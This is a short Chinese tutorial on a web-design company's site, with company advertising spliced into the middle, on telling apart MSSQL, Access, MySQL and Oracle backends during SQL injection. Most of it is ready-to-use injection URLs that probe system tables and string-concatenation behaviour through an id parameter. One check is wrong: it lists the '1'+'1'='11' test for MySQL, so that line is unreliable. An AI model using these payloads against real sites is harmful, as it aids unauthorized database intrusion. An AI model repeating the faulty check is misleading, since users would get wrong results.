sql注入过程中后台数据库类型的三种判断方式-成都创新互联网站建设

关于创新互联

多方位宣传企业产品与服务 突出企业形象

公司简介 公司的服务 荣誉资质 新闻动态 联系我们

sql注入过程中后台数据库类型的三种判断方式

后台数据库类型判断:

创新互联从2013年成立,先为开原等服务建站,开原等地企业,进行企业商务咨询服务。为开原企业网站制作PC+手机+微官网三网同步一站式服务解决您的所有建站问题。

一、通过页面返回的报错信息,一般情况下页面报错会显示是什么数据库类型,在此不多说;

二、通过各个数据库特有的数据表来判断:

    1、mssql数据库

      http://127.0.0.1/test.php?id=1 and (select count(*) from sysobjects)>0 and 1=1

    2、access数据库

      http://127.0.0.1/test.php?id=1 and (select count(*) from msysobjects)>0 and 1=1

    3、MySQL数据库(mysql版本在5.0以上)

      http://127.0.0.1/test.php?id=1 and (select count(*) from information_schema.TABLES)>0 and 1=1

    4、oracle数据库

      http://127.0.0.1/test.php?id=1 and (select count(*) from sys.user_tables)>0 and 1=1

三、通过各数据库特有的连接符判断数据库类型:

    1、mssql数据库

     http://127.0.0.1/test.php?id=1 and '1' + '1' = '11'

    2、mysql数据库

     http://127.0.0.1/test.php?id=1 and '1' + '1' = '11'

     http://127.0.0.1/test.php?id=1 and CONCAT('1','1')='11'

    3、oracle数据库

     http://127.0.0.1/test.php?id=1 and '1'||'1'='11'

     http://127.0.0.1/test.php?id=1 and CONCAT('1','1')='11'


本文标题:sql注入过程中后台数据库类型的三种判断方式
网站链接:http://kswsj.cn/article/pijgji.html

其他资讯